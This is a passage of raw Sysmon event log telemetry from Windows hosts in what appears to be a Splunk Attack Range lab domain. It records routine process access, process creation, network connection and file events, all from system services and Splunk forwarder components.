14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-707C-613B-B804-00000000F101}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707C-613B-B804-00000000F101}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-707C-613B-B804-00000000F101}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000014744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:29.462{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50180-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:33.102{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D987D12ACBEFBC9BB47F9B8DFAD55C3,SHA256=83991C296049E334F7A1B4A04E868251A1B2C6E90592A207E1BE5448CE447601,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:33.975{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5B7F15320229FF20A126D842CE5BC8C9,SHA256=333E9FF69B633BA865031CDF4101160DB3176090834EF4E09D292C005F23D128,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:33.022{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C0EAC29935E79D089A00C9486D30DB59,SHA256=11ED43F8319AE262FD74EE71A7688C712F1A51DC729F201A556F8F18DE2DD9E8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:34.117{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2CE8AA30CA233901F12E75504DDF9E5D,SHA256=2C9FBC01660DD94420137CC958225A2BB9EECE8DADD9D0BFF9A3D1C8464FA787,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.412{625C326B-707E-613B-BA04-00000000F101}9643040C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707E-613B-BA04-00000000F101}964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-707E-613B-BA04-00000000F101}964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707E-613B-BA04-00000000F101}964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.116{625C326B-707E-613B-BA04-00000000F101}964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:34.037{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=757BF1C1742959EB49B70BED9F7ABDD7,SHA256=28515BCA7D08C2A7692CDC08FA82EACE7F44296C37C252A41DB05C9C8FDD22B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:35.211{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAE50FFC80AA0A6E5F75DA02AEB9F306,SHA256=1B102ED115216DB1C92E299BB9ACA04B3160C1726CF8D6A88995DD8385AEFD93,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014820Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.898{625C326B-707F-613B-BC04-00000000F101}24083744C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014819Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707F-613B-BC04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014818Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 